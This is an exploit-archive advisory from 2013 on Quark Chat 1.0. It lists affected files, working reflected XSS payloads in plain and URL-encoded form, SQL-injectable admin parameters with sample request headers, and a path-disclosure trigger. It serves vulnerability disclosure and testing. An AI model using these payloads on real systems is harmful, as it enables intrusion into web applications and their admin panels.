Home / exploitsPDF  

Quark Chat 1.0 XSS / SQL Injection / Path Diclosure

Posted on 16 August 2013

<pre>###########################################################################################
# Exploit Title: Quark Chat 1.0 - XSS / SQL Injection / Path Diclosure
# Date: 15 de Agosto del 2013
# Exploit Author: Dylan Irzi
# Credit goes for: websecuritydev.com
# Vendor Homepage: http://www.quack-chat.com/
# Tested on: Win8 &amp; Linux Mint
# Affected Version : 1.0
# Contacts: { https://twitter.com/Dylan_irzi11 , http://websecuritydev.com/}
# Greetz: All team WebSecuritydev.
###########################################################################################

Cross Site Scripting:
Archivos Afectados Afectados

qchat.php
qc_admin/index.php?p=history

PoC:
localhost/qchat.php
Vector: &quot;&quot;&gt;&lt;img src=x onerror=prompt(/XSS/);&gt;&gt;

Input:
&lt;input id=&quot;name&quot; type=&quot;text&quot; style=&quot;width:200px;&quot; name=&quot;name&quot;&gt;
Is Reflected: localhost/qc_admin/index.php?p=history

PoC #2:
localhost/qc_admin/index.php?p=history&amp;page=2+(XSS Vector)
Example:
localhost/qc_admin/index.php?p=history&amp;page=2%22%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSS/%29;%3E%3E

-------------------------------------------------------------------
SQL Injection

localhost/qc_admin/index.php?p=history&amp;id=(SQL Injection)
localhost/qc_admin/index.php?p=history&amp;page=(SQL Injection)

Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET
CLR 2.0.50727)
Cookie: PHPSESSID=7d87f318548027737ae3893189e2ff0e

(Remplazar por una Session Cookie Valida)

-------------------------------------------------------------------
Path Diclosure

localhost/qc_admin/index.php?p=history&amp;id='

in /var/www/chat/qc_admin/index.php on line 249

-------------------------------------------------------------------

Example:
http://www.quack-chat.com/demo.php
--------------------------------------------------------------------

*By Dylan Irzi
@Dylan_Irzi11
Pentest de Seguridad.

*
</pre>

 

TOP

Malware :

Exploits :